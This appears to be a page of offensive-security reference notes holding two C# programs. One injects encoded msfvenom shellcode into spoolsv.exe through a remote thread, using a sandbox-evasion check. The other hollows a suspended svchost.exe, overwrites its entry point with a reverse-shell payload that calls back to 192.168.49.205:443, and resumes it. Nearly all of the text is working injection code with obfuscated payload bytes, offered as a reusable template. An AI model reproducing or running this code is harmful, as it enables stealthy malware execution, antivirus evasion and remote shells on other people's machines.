Backlink: reference-notes-readme


Inject New Thread Into Process - EXE

// This program will inject the msfvenom shellcode into an existing process as a thread and execute it. Requires bin executable to be written to disk.
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;


namespace Inject
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocExNuma(IntPtr hProcesss, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);

        [DllImport("kernel32.dll")]
        static extern IntPtr GetCurrentProcess();

        static void Main(string[] args)
        {
            IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
            if (mem == null)
            {
                return;
            }

            // bin-Helper output (192.168.49.205:443; x64)
            byte[] buf = new byte[799] {
0x01, ... };

            for (int i = 0; i < buf.Length; i++)
            {
                buf[i] = (byte)(((uint)buf[i] - 5) & 0xFF);
            }

            int size = buf.Length;

            Process[] expProc = Process.GetProcessesByName("spoolsv"); // set target process here
            int pid = expProc[0].Id;

            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);

            IntPtr outSize;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);

            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
        }
    }
}

Inject New Thread Into Process - DLL


Process Hollowing - EXE

using System;
using System.Threading;
using System.Runtime.InteropServices;


namespace Hollow
{
    class Program
    {
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
        struct STARTUPINFO
        {
            public Int32 cb;
            public IntPtr lpReserved;
            public IntPtr lpDesktop;
            public IntPtr lpTitle;
            public Int32 dwX;
            public Int32 dwY;
            public Int32 dwXSize;
            public Int32 dwYSize;
            public Int32 dwXCountChars;
            public Int32 dwYCountChars;
            public Int32 dwFillAttribute;
            public Int32 dwFlags;
            public Int16 wShowWindow;
            public Int16 cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }

        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_BASIC_INFORMATION
        {
            public IntPtr Reserved1;
            public IntPtr PebAddress;
            public IntPtr Reserved2;
            public IntPtr Reserved3;
            public IntPtr UniquePid;
            public IntPtr MoreReserved;
        }

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

        [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
        private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen,
            ref uint retlen);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern uint ResumeThread(IntPtr hThread);

        static void Main(string[] args)
        {
            // instantiate and supply objects to CreateProcess
            STARTUPINFO si = new STARTUPINFO();
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

            bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);

            // call ZwQueryInformationProcess and fetch address of the PEB
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
            uint tmp = 0;
            IntPtr hProcess = pi.hProcess;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);

            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);

            // invokes REadProcessMemory to fetch address of code base
            byte[] addrBuf = new byte[IntPtr.Size];
            IntPtr nRead = IntPtr.Zero;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);

            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));

            // calls ReadProcessMemory again with buf size of 0x200 to parse the PE header to locate the EntryPoint
            byte[] data = new byte[0x200];
            ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);

            // parses the PE header by reading content at offset 0x3C and using that as second offset from 0x28
            uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);

            uint opthdr = e_lfanew_offset + 0x28;

            uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);

            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);

            // writes shellcode into memory, overwriting existing code
            // bin-Helper output (192.168.49.205:443; x64)
            byte[] buf = new byte[799] { 0x49, 0x95, 0xd0, 0x31, 0x3d, 0x35, 0x19, 0x4d, 0x4d, 0x4d, 0x8e, 0x9e, 0x8e, 0x9d, 0x9f, 0x9e, 0x95, 0x7e, 0x1f, 0xb2, 0x95, 0xd8, 0x9f, 0xad, 0xa3, 0x95, 0xd8, 0x9f, 0x65, 0x95, 0xd8, 0x9f, 0x6d, 0x95, 0xd8, 0xbf, 0x9d, 0x9a, 0x7e, 0x16, 0x95, 0x5c, 0x04, 0x97, 0x97, 0x95, 0x7e, 0x0d, 0xf9, 0x89, 0xae, 0xc9, 0x4f, 0x79, 0x6d, 0x8e, 0x0e, 0x16, 0x5a, 0x8e, 0x4e, 0x0e, 0x2f, 0x3a, 0x9f, 0x8e, 0x9e, 0x95, 0xd8, 0x9f, 0x6d, 0xd8, 0x8f, 0x89, 0x95, 0x4e, 0x1d, 0xb3, 0xce, 0xc5, 0x65, 0x58, 0x4f, 0x5c, 0xd2, 0xbf, 0x4d, 0x4d, 0x4d, 0xd8, 0xcd, 0xd5, 0x4d, 0x4d, 0x4d, 0x95, 0xd2, 0x0d, 0xc1, 0xb4, 0x95, 0x4e, 0x1d, 0x9d, 0xd8, 0x95, 0x65, 0x91, 0xd8, 0x8d, 0x6d, 0x96, 0x4e, 0x1d, 0x30, 0xa3, 0x95, 0x4c, 0x16, 0x8e, 0xd8, 0x81, 0xd5, 0x95, 0x4e, 0x23, 0x9a, 0x7e, 0x16, 0x95, 0x7e, 0x0d, 0xf9, 0x8e, 0x0e, 0x16, 0x5a, 0x8e, 0x4e, 0x0e, 0x85, 0x2d, 0xc2, 0x3e, 0x99, 0x50, 0x99, 0x71, 0x55, 0x92, 0x86, 0x1e, 0xc2, 0x25, 0xa5, 0x91, 0xd8, 0x8d, 0x71, 0x96, 0x4e, 0x1d, 0xb3, 0x8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, 0xa7, 0x96, 0xd6, 0x1e, 0x0e, 0x2f, 0x5d, 0x96, 0x14, 0x0d, 0x4d, 0x5d, 0x4d, 0x4d, 0x96, 0x07, 0xa5, 0xf1, 0xa0, 0x32, 0x4d, 0x4d, 0x4d, 0x4d, 0x4c, 0x22, 0x95, 0xe0, 0xa0, 0xa0, 0x95, 0xd6, 0x34, 0x95, 0xd6, 0x3e, 0x95, 0xd6, 0x27, 0x96, 0x14, 0x0d, 0x4d, 0x6d, 0x4d, 0x4d, 0x96, 0xd6, 0x46, 0x96, 0x07, 0x5f, 0xe3, 0xd6, 0x2f, 0x4d, 0x4d, 0x4d, 0x4d, 0x4c, 0x22, 0x95, 0xd0, 0x11, 0x6d, 0xd2, 0x0d, 0xc1, 0xff, 0xb3, 0xd8, 0x54, 0x95, 0x4e, 0x10, 0xd2, 0x0d, 0xc2, 0x1f, 0xa5, 0x10, 0xa5, 0xb7, 0x4d, 0xa6, 0x08, 0x2d, 0x6a, 0x77, 0x57, 0x8e, 0xd6, 0x27, 0x4c, 0x22 };

            for (int i = 0; i < buf.Length; i++)
            {
                buf[i] = (byte)(((uint)buf[i] - 77) & 0xFF);
            }

            WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);

            // executes shellcode by resuming the suspended thread of the remote process.
            ResumeThread(pi.hThread);
        }
    }
}